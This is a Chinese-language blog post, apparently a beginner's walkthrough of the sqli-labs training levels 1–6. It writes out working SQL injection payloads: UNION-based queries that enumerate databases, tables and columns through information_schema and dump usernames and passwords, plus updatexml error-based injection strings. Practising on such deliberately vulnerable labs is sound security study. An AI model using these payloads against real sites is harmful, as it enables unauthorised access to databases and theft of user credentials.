sqllab闯关(一)1-6

  刚刚开始学习sql注入,把练习的过程记录一下,方便复习。

 Less-1

    

 

 

  •  判断注入类型

              首先确定注入点为id,后判断是字符型注入还是数字型注入

    输入 ?id=1 and 1=2 --+ 后显示正常表明不是字符型注入

    而输入 ?id= 1' 后出现报错near ' '1'' LIMIT 0,1' at line 1 (黄色为用于表示错误内容的单引号可以忽略,红色字符为输入的内容),表明了是字符型注入

              

    后利用 1‘--+.中单引号闭合前面的引号,利用--+注释掉之后的内容,发现可以正常显示

            

 

 

 

    

  • 确定字段长度 和回显位置

            确定字段长度,若字段数为M,利用 order by N,从1,到M可以正常显示,N=M+1是报错

   所以利用1’ order by 4--+报错 确定字段数为3

   

 

 

   后利用 ' union select 1,2,3--+确定回显字段为 第二位和第三位

  

 

 

  • 获取数据库信息
    •  爆库名 

      利用?id=' union select 1,database(),3--+ 获取当前的使用的数据库名称

    

    •   爆表名  获取数据库中表的名称

     利用  id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

   

 

    显然我门需要的是获取users表的内容

    •   爆列名,(字段名)

      id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+  (此处‘users’也可使用usres 的十六进制表示)

  

 

    •  获取数据

      已经获取了表名和字段名,可以直接查询数据

    id=' union select 1,group_concat(username),group_concat(password) from users --+      

   

 

 

 Less-2

      与第一题一样,首先判断注入类型,输入 ?id=1*3 后发现获取了 id=3时的数据,在输入 id= 1 and 1=2--+ 后发现无输出,说明是数字型注入

      

 

 

     而后利用 union 语句查询即可(id=0 union sql_command ),后续内容与第一题同。

Less -3

    首先判断注入类型 输入id=1 and 1=2 无反应,但是输入 id=1' 后出现报错,确定是字符型注入。

     

 

 

     根据报错信息near ''1'') LIMIT 0,1' 构造绕过方法,由于报错信息中显示 有 ) 所以在输入中构造)进行提前闭合,而后利用注释(--+),将后面的内容无效化

      构造的注入语句为 ?id=-1') union sql_cmmand(表示任意sql命令,如select,等),其余内容与第一题相同。

Less-4

  此题判断类型时发现,无论是 ?id=1 and1=2--+ 还是 ?id=1' 都正常显示,此时考虑另一个特殊字符“ , 在输入 id=1"后出现报错信息

    

 

 

   near ' "1" ")根据报错信息 和第三题的构造方式类似,只是把单引号(’)换为 双引号(“).  得到payload 为 id= -1") union sql_command 此后的内容与第一题相同。

Less-5 

    此题判断类型时 id=3'出现报错信息,为字符型注入。

    

 

   但是,输入后发现,在有正常输出时只显示 you are in--- 不出现回显,只有错误信息会正常显示,所以考虑通过 updatexml错误注入的方式进行注入(updatexml错误注入详解)

    

 

     

    payload 如下  id=3' and updatexml(1,concat(0x7e,(select database())),1)--+

    

 

 

    如果需要显示多行数据可以使用 id=3' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() )),1)--+

    

 

     也可以利用 limit 开始行数,显示行数  id=3' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1 )),1)--+ 进行逐行显示

     

 

   之后的爆表名和查数据的过程与第一题相同。

Less-6 

  此题与第五题只是把特殊符号由单引号(‘)换位双引号(")其余相同

  如查表名id=3" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() )),1)--+

 

 

posted @   比奇堡的黄色小海绵  阅读(133)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
点击右上角即可分享
微信分享提示